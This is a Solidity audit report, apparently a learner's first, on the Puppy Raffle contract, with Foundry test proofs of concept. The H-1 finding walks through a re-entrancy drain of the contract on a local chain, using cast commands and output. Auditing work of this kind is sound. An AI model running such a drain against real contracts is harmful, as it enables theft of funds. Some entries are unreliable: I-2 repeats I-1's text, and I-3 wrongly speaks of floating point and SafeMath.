Protocol Audit Report

Version 1.0

Cyfrin.io

August 30, 2024

Protocol Audit Report

0xNascosta

August 27, 2024

Prepared by: Cyfrin Lead Auditors: - 0xNascosta

Table of Contents

Protocol Summary

Puppy Raffle allows users to enter a Raffle with the opportunity of winning a Dog NFT, along with some prize funds (this is not mentioned in the documentation of the protocol). A fee will be deducted from the total prize pool and will be sent to a predefined `feeAddress`, that the owner of the protocol can set.

Disclaimer

The 0xNascosta team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

```
Repository:
- `https://github.com/Cyfrin/4-puppy-raffle-audit`
```

```
Commit Hash:
- `2a47715b30cf11ca82db148704e67652ad679cd8`
```

Scope

```
./src/
  - PuppyRaffle.sol
```

Roles

- Owner: The owner of the protocol who should have access to setting the feeAddress.
- Users: Users that may want to enter the raffle, they can enter the raffle and request a refund or enter the raffle on behalf of other users.

Executive Summary

This is my first audit, I'm certain I did not catch all of the possible bugs. No tools were used thus far in the audit process at the time of writing the PoC's are yet to be outlined. The issues found were found solely by reading the code line by line. I will utilise tools like Slither and the Foundry test suite in order to demonstrate PoC's. Although the protocols test coverage was reasonable in terms of lines covered ~84% for `PuppyRaffle.sol`, the `branches` coverage is below satisfactory (~70%). Most flaws were found in the implementation of the intended logic.

Issues found

Severity	Number of Issues Found
High	3
Medium	4
Low	2
Info	5

Findings

High

[H-1] `refund` is vulnerable to re-entrancy attacks

Description: `refund` does not follow the CEI (Checks-Effects-Interaction) pattern. The `players` array is being updated after an interaction (refunding the `entranceFee`). A user can create a contract and enter the raffle (`enterRaffle`). The contract can then call `refund` and when the `entranceFee` has been sent to the contract, the `fallback` or `receive` method can be used to recursively invoke `refund` again, until the protocol has been drained of Ether.

Impact: This attack is highly likely and can result in the protocol being drained of funds.

Proof of Concept: The below test case shows how a malicious contract can be used to drain the protocol via a re-entrancy attack on the `refund` method.

1. Create a locally running chain

```
anvil
```

2. Deploy the PuppyRaffle contract. (0x5fbdb2315678afecb367f032d93f642f64180aa3)

```
forge script script/DeployPuppyRaffle.sol --rpc-url "http://localhost
    :8545" --broadcast --private-key 0
    xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
```

3. Enter the raffle on behalf of 5 accounts so the contract has a balance of 5 ether. (we cannot send funds to the contract directly as there is no `fallback` or `receive` method).

```
cast send 0x5FbDB2315678afecb367f032d93F642f64180aa3 "enterRaffle(
    address[])" [0x70997970C51812dc3A010C7d01b50e0d17dc79C8, 0
    x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC, 0
    x90F79bf6EB2c4f870365E785982E1f101E93b906, 0
    x15d34AAf54267DB7D7c367839AAf71A00a2C6A65, 0
    x9965507D1a55bcC2695C58ba16FB37d819B0A4dc] --gas-limit 3000000 --
    value 1ether --private-key 0
    x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d --
    rpc-url "http://localhost:8545"
```

We will use 5 different private keys so the contract has `balance > entranceFee` to demonstrate draining funds.

```
cast balance 0x5FbDB2315678afecb367f032d93F642f64180aa3 --rpc-url "http
    ://localhost:8545"

Output: 5000000000000000000 (5 ether)
```

4. Create a Malicious contract (see RefundReEntrancy.sol), fund it with `entranceFee` amount of ether and invoke `enterRaffle`.

```
Contract Address: 0x0124189Fc71496f8660dB5189F296055ED757632

```

```
Fund the contract with some ether:
cast send 0x0124189Fc71496f8660dB5189F296055ED757632 --gas-limit
    3000000 --value 5ether --rpc-url "http://localhost:8545" --private-
    key 0
    x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a 0
    xabcdef
```

We supply 0xabcdef so that we have arbitrary data in `msg.data` to ensure `fallback()external payable` is invoked and not `receive()external payable`.

```
`cast balance 0x0124189Fc71496f8660dB5189F296055ED757632 --rpc-url http
    ://localhost:8545`

Output: 5000000000000000000 (5 ether)

cast send 0x0124189Fc71496f8660dB5189F296055ED757632  "enterRaffle()"
    --rpc-url "http://localhost:8545" --private-key 0
    x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a --
    gas-limit 30000000

cast balance 0x0124189Fc71496f8660dB5189F296055ED757632 --rpc-url http:
    //localhost:8545

Output: 10 ether (Malicious Contract Balance)

cast balance 0x5FbDB2315678afecb367f032d93F642f64180aa3 --rpc-url http:
    //localhost:8545

Output: 0 ether (Contract has been drained).
```

[H-2] `totalFees` overflows when exceeding 2^{64} ~ 18.45 Ether

Description: The `totalFees` state variable is of type `uint64` which ihas a maximum value of 2^{64} when this value is exceeded the amount will overflow reducing the total revenue the protocol makes from fees when attempting to invoke `withdrawFees`.

Impact: A high impact, if the protocol garners enough traction to get at least 92.5 Ether in accumulated value from the `enterRaffle` function, if fees are not withdrawn prior to getting to the aforementioned balance, it is likely that invoking `selectWinner` after one more entry would result in the `totalFees` value overflowing.

Proof of Concept:

See `test/audit/PuppyRafflePoCTest.sol:PuppyRafflePoCTest#testTotalFeesOverflows`

```
/**
     * The greatest value stored within totalFees (uint64): 2^64 =
        1.8446744e+19 ~ 18.4 ether
```

```
3         *
4         *     If we collect 92.5 Ether ~ 20% is roughly 18.5 ether. We
              expect the totalFees to overflow.
5         *
6         *     1) We will set the entrance fee to 20 ether and let 5
              participants enter.
7         *     2) We will then select a winner and check the value of the
              totalFees.
8         */
9       function testTotalFeesOverflows() public {
10          // Arrange
11          uint64 initialTotalFees = puppyRaffleHighEntranceFee.totalFees
                ();
12          console.log("Initial Total Fees: ", initialTotalFees);
13          uint8 numberOfPlayers = 5;
14          for (uint256 i = 0; i < numberOfPlayers; i++) {
15              players.push(address(uint160(i)));
16          }
17          vm.deal(players[0], 100 ether);
18          vm.prank(players[0]);
19          puppyRaffleHighEntranceFee.enterRaffle{value: numberOfPlayers *
                puppyRaffleHighEntranceFee.entranceFee()}(
20              players
21          );
22          vm.warp(block.timestamp + 1000000000);
23
24          // Act
25          puppyRaffleHighEntranceFee.selectWinner();
26
27          // Assert
28          uint64 finalTotalFees = puppyRaffleHighEntranceFee.totalFees();
29          console.log("Final Total Fees: ", finalTotalFees);
30          assert(finalTotalFees - initialTotalFees < 2 ether); // the
                total fees should be much greater however it has overflown.
31      }
```

Recommended Mitigation: Use `uint256` instead of `uint64`, also ensure that `selectWinner` / `totalFees` are withdrawn before they reach a value within a particular threshold of the maximum value of a `uint256`.

[H-3] `selectWinner` erroneously counts refunded users in the total amount collected when determining the payout

Description: When `selectWinner` is invoked, the length of the players array is used to determine the amount of ether we have collected, which is used to determine the `totalFees` and the `prizePool`, refunded users will be counted which will lead to the protocol over paying a winner.

Impact: It is likely refunds can be exploited to get the protocol to overpay a winning user.

Proof of Concept:

See test/audit/PuppyRafflePoCTest.sol:PuppyRafflePoCTest#testProtocolOverpays

```
/**
     * The PuppyRaffle:
     *     1) starts with a balance of 5ether
     *     2) we then enter 5 players in a single call to enterRaffle. The contract should now have a balance of 10 ether
     *     3) we then refund 2 users, so we have a balance of 8 ether.
     *     4) upon selecting the winner (the total amount we have collected is actually 3 ether - considering the refunds), we should send 80% of this to the winner, resulting in the contract having 8 - (0.8 * 3) = 5.6 ether, however the contract sends out (5 * 0.8) = 4 ether instead of sending 2.4 ether
     */
    function testProtocolOverPays() public {
        // Arrange - Let 4 players enter the raffle.
        uint8 numberOfPlayers = 5;
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            players.push(address(uint160(i + 1))); // i+1 as we do not want i to be 0, that would point to the zero-address.
        }
        vm.deal(address(puppyRaffle), 5 ether);
        console.log("Initial Puppy Raffle Balance: ", address(puppyRaffle).balance);
        vm.deal(players[0], 100 ether);
        vm.prank(players[0]);
        puppyRaffle.enterRaffle{value: numberOfPlayers * puppyRaffle.entranceFee()}(players);
        uint256 balanceAfterRaffleEntry = address(puppyRaffle).balance;
        console.log("PuppyRaffle balance after %d entries: ", numberOfPlayers, balanceAfterRaffleEntry);
        uint256 numberOfRefunds = 2;
        for (uint256 i = 0; i < numberOfRefunds; i++) {
            uint256 activePlayerIdx = puppyRaffle.getActivePlayerIndex(players[i]);
            vm.prank(players[i]);
            puppyRaffle.refund(activePlayerIdx);
        }

        uint256 balanceAfterRefunds = address(puppyRaffle).balance;
        console.log("PuppyRaffle balance: ", balanceAfterRefunds);
        vm.warp(block.timestamp + (60 * 60 * 24));

        // Act - Select Winner (This may revert if we select a winner who is at the 0 address - a refunded user).
        puppyRaffle.selectWinner();

        // Assert
        uint256 finalBalanceAfterPayout = address(puppyRaffle).balance;
        console.log("Final balance post payout: ",
```

```
            finalBalanceAfterPayout);
38          assert(finalBalanceAfterPayout < 5.6 ether);
39      }
```

Recommended Mitigation: Use a `mapping(address => UserData)` to keep track of whether a user is refunded or not, it would be preferred to use a `mapping` over an `array`. Otherwise use more robust checks to ensure you are not counting refunded users as being a part of the `totalAmountCollected` within `selectWinner`.

Medium

[M-1] No user can enter the raffle after two players have been refunded

Description: Given that two existing users who have enterred the raffle invoke `refund`, this will result in the `players` address array resulting in two entries with `address(0)`. When another user attempts to `enterRaffle` the two refunded players who's addresses are now `address(0)` will cause a duplicate address to be found and revert, thus allowing no new players to enter the raffle.

Impact: This is a highly likely scenario, given that users are able to request a refund and that we only need 2 which is relatively little. No user can enter the raffle, breaking the PuppyRaffle protocol, I debate that this could also be a high level vulnerablity.

Proof of Concept:

See `test/audit/PuppyRafflePocTest.sol:PuppyRafflePocTest#testNoUserCanPlayAfterTwo`

```
1  function testNoUserCanPlayAfterTwoUsersHaveBeenRefunded() public {
2          // Arrange - 2 Users Enter the Raffle and are refunded.
3          address newUser = address(uint160(2000));
4          vm.deal(newUser, 100 ether);
5          address[] memory players = new address[](1);
6          vm.deal(USER_ALICE, 100 ether);
7          vm.deal(USER_BOB, 100 ether);
8          vm.prank(USER_ALICE);
9          uint256 entranceFee = puppyRaffle.entranceFee();
10         players[0] = USER_ALICE;
11         puppyRaffle.enterRaffle{value: entranceFee}(players);
12         vm.prank(USER_BOB);
13         players[0] = USER_BOB;
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         uint256 aliceIdx = puppyRaffle.getActivePlayerIndex(USER_ALICE)
               ;
17         uint256 bobIdx = puppyRaffle.getActivePlayerIndex(USER_BOB);
18
```

```
19          vm.prank(USER_ALICE);
20          puppyRaffle.refund(aliceIdx);
21          vm.prank(USER_BOB);
22          puppyRaffle.refund(bobIdx);
23          address playerAtIdx0 = puppyRaffle.players(0);
24          address playerAtIdx1 = puppyRaffle.players(1);
25          console.logAddress(playerAtIdx0);
26          console.logAddress(playerAtIdx1);
27
28          // Act / Assert - When another user attempts to enter we revert
                .
29          vm.prank(newUser);
30          players[0] = newUser;
31          vm.expectRevert(bytes("PuppyRaffle: Duplicate player"));
32          puppyRaffle.enterRaffle{value: entranceFee}(players);
33      }
```

Recommended Mitigation:

I would advise re-designing the entire protocol using mappings instead of an array, alternatively you could swap the the user to be refunded with the last element of the array and pop from the array, rather than setting the player who's requesting a refund idx to `address(0)`.

[M-2] If all users request a refund and raffle duration has elapsed, selectWinner will always revert.

Description: Provided that all users have requested a refund and the raffle duration amount of time has elapsed, `selectWinner` can be invoked and will result in a revert as we will attempt to send the `prizePool` funds to `address(0)` and mint an NFT to the zero-address which would revert. If the `PuppyRaffle` protocol does not have sufficient funds we will get an `EVMError: OutOfFunds`, otherwise we will revert as we attempt to mint an NFT to the zero address.

Impact: No direct impact to funds, however `selectWinner` will always revert.

Proof of Concept:

See `test/audit/PuppyRafflePocTest.sol:PuppyRafflePocTest#testExpectRevertWhenSelec`

```
1  function testExpectRevertWhenSelectingWinnerWhenUsersAreAllRefunded()
       public {
2          // Act - 4 Users enter the raffle and get a refund each.
3          uint8 numberOfPlayers = 4;
4          uint256 entranceFee = puppyRaffle.entranceFee();
5          for (uint256 i = 0; i < numberOfPlayers; i++) {
6              players.push(address(uint160(i + 1))); // i+1 as we do not
                   want i to be 0, that would point to the zero-address.
7              vm.deal(players[i], 10 ether);
8          }
```

```
9
10          vm.prank(players[0]);
11          puppyRaffle.enterRaffle{value: numberOfPlayers * entranceFee}(
                players);
12
13          for (uint256 i = 0; i < numberOfPlayers; i++) {
14              uint256 activePlayerIdx = puppyRaffle.getActivePlayerIndex(
                    players[i]);
15              vm.prank(players[i]);
16              puppyRaffle.refund(activePlayerIdx);
17          }
18
19          vm.deal(address(puppyRaffle), 10 ether); // Commenting out this
                line will result in EvmError:OutOfFunds
20
21          // Ensure duration has elapsed
22          vm.warp(block.timestamp + 60 * 60 * 24);
23
24          // Act / Assert (Reverts) - selectWinner is chosen
25          vm.expectRevert(bytes("ERC721: mint to the zero address"));
26          puppyRaffle.selectWinner();
27      }
```

[M-3] Contract participants are allowed to enter, however they cannot win.

Description: The `PuppyRaffle` protocol does not prohibit contract address participants from entering the raffle, however unless the contract associated with the contract address participant implements the `IERC721Receiver` interface and has a concrete override of `function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)external returns (bytes4);` it will not be able to receive the NFT.

Impact: No impact on funds, but will not allow contract address participants to win.

Proof of Concept:

See `test/audit/PuppyRafflePoCTest.sol:PuppyRafflePoCTest#testExpectRevertsWhenCont`. Note the contract `RaffleParticipant` decalred in the same test file.

Recommended Mitigation: Ensure you are checking the addresses within `enterRaffle`: `address.code.length != 0`, if the prior condition is true, revert in order to exclude contract address participants.

[M-4] Randomness is not verifiablly random and can be manipulated.

Description: The index of the winner is determined using the following logic `uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)))%players.length`. However the miners can manipulate the difficulty of the block by selecting

pre-determing txns from the mempool that match a specific difficulty. Also given the address of the invoker of `selectWinner`, `msg.sender` and ensuring that the block is mined at a particular time, can result in a random number being known ahead of time. Miners and users can collude to exploit the protocol.

Impact: Reconsidering this should be of high impact as the protocol can be exploited by sophisticated miners / users.

Proof of Concept:

Unable to demonstrate this as it would require playing the role of a miner.

Low

[L-1] `entranceFee` and `raffleDuration` have no validation

Description: `entranceFee` and `raffleDuration` are not validated in the constructor, which could result in both values being 0, leading the protocol to not generate any revenue and that `selectWinner` can be called as soon as we have 4 addresses.

Impact: Protocol may not generate any revenue if `entranceFee` is 0. Protocol may not permit time for other users to join after the first four users have joined.

Proof of Concept: Look at the constructor of `PuppyRaffle` contract, entranceFee & raffleDuration are set without any validation.

[L-2] `getActivePlayerIndex` returns a valid index when a player is not active

Description: If an address that is not in the raffle is passed as a parameter to `getActivePlayerIdx`, 0 will be returned, which may be the index of an actual active player that is a part of the raffle.

Impact: Users will infer from the return value of 0, that they are the 1st active user.

Proof of Concept:

```
1  function testGetActivePlayerIdxReturnsZeroForInactivePlayer() public {
2          // Arrange
3          address userNotInRaffle = makeAddr("Not in the raffle");
4          // Act
5          uint256 activePlayerIdx = puppyRaffle.getActivePlayerIndex(
               USER_BOB);
6          // Assert
7          assert(activePlayerIdx == 0);
8      }
```

Recommended Mitigation: Revert or throw a custom error if the user cannot be found in the `players` instead of returning 0.

Informational

[I-1] `prizePool` and `fee` are determined using magic numbers.

Description: Define `constant` variables to denote the 80 and 20 used to determine prizePool amount and fee amounts. Improved readability.

[I-2] `refund` does not validate that `playerIndex` provided is within bounds of `[0, players.length)`

Description: Define `constant` variables to denote the 80 and 20 used to determine prizePool amount and fee amounts. Improved readability.

[I-3] Division of `totalAmountCollected` may lead to floating point numbers.

Description: Use a library such as `SafeMath` to perform the arithmetic operation involving divison.

Gas

[G-1] `imageUri` is a storage variable that is set once.

Description: `imageUri` should be marked with the `constant` keyword, storing the `imageUri` in the bytecode instead of in storage, this will lead to gas savings.

[G-2] `raffleDuration` should be marked as `immutable`.

Description: `raffleDuration` is set once in the constructor and never changed again, thus it can be set as `immutable`.